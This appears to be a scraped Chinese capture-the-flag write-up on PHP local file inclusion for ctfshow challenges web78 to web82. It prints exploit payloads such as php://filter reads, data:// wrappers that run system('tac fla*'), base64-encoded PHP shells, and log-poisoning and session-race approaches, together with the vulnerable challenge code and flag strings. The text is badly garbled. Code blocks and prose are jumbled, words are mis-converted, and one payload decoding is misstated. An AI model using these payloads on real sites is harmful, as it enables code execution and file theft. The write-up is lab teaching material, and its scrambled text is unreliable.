ctfshow-web文件包罗
web78
- [/code][align=center][img]https://dis.qidao123.com/imgproxy/aHR0cHM6Ly9pbWcyMDI0LmNuYmxvZ3MuY29tL2Jsb2cvMzYyMTU1Ny8yMDI2MDEvMzYyMTU1Ny0yMDI2MDEwODE2MDkzNDI4NC0xMTUzOTEzNjExLnBuZw==[/img][/align]
- [align=center][img]https://dis.qidao123.com/imgproxy/aHR0cHM6Ly9pbWcyMDI0LmNuYmxvZ3MuY29tL2Jsb2cvMzYyMTU1Ny8yMDI2MDEvMzYyMTU1Ny0yMDI2MDEwODE2MDkzNDY4Mi03NTk4MjYwMjUucG5n[/img][/align]
- [size=3]方法三:data协议[/size]
- data也是利用文件包罗弊端,将输入的代码看成php文件实行。
- data协议格式:
- [code]?file=php://filter/read=convert.base64-encode/resource=flag.php
复制代码 构造payload:- ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}
复制代码 将我们输入的看成php文件来实行,以到达读取flag的目标。
web79
- 可以用代替
- flag.php可以用*或?代替部分字符</p>或是直接利用base64编码
- [code]ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==即是
复制代码 当你利用hackbar的时间,请利用raw模式发送post哀求,否则服务端无法吸收到post里的内容。
日记包罗
- data://[<MIME-type>][;charset=<encoding>][;base64],<data>
复制代码 user-agent里写上- [/code][align=center][img]https://dis.qidao123.com/imgproxy/aHR0cHM6Ly9pbWcyMDI0LmNuYmxvZ3MuY29tL2Jsb2cvMzYyMTU1Ny8yMDI2MDEvMzYyMTU1Ny0yMDI2MDEwODE2MDkzNTgzMi02NTc5MzcxNi5wbmc=[/img][/align]
- [size=4]web80[/size]
- [code]
复制代码
发现有fl0g.php- [/code][align=center][img]https://dis.qidao123.com/imgproxy/aHR0cHM6Ly9pbWcyMDI0LmNuYmxvZ3MuY29tL2Jsb2cvMzYyMTU1Ny8yMDI2MDEvMzYyMTU1Ny0yMDI2MDEwODE2MDkzNzAwMi0xNjY2MDMyNTMxLnBuZw==[/img][/align]
- [code]?file=data://text/plain,<?= system("tac fla*") ?>
- ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==
- PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==等于<?php system('cat flag.php');
复制代码 wbe81
- ctfshow{e37fa4f8-13aa-40d3-a57e-dd2af3f4030e}
复制代码 发现比力上一题多了:绕过,我们还是可以利用日记包罗- data://[<MIME-type>][;charset=<encoding>][;base64],<data>
复制代码 User-Agent- [/code][align=center][img]https://dis.qidao123.com/imgproxy/aHR0cHM6Ly9pbWcyMDI0LmNuYmxvZ3MuY29tL2Jsb2cvMzYyMTU1Ny8yMDI2MDEvMzYyMTU1Ny0yMDI2MDEwODE2MDkzNzI5OC0xNjE1NzUyNzExLnBuZw==[/img][/align]
- 发现存在fl0g.php,直接读取
- [code]
复制代码- <?php
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2020-09-16 11:25:09
- # @Last Modified by: h1xa
- # @Last Modified time: 2020-09-16 11:26:29
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
- */
- if(isset($_GET['file'])){
- $file = $_GET['file'];
- $file = str_replace("php", "???", $file);
- $file = str_replace("data", "???", $file);
- include($file);
- }else{
- highlight_file(__FILE__);
- }
复制代码 web82
session特性与条件竞争
利用PHP_SESSION_UPLOAD_PROGRESS举行文件包罗 - NPFS - 博客园
[code] |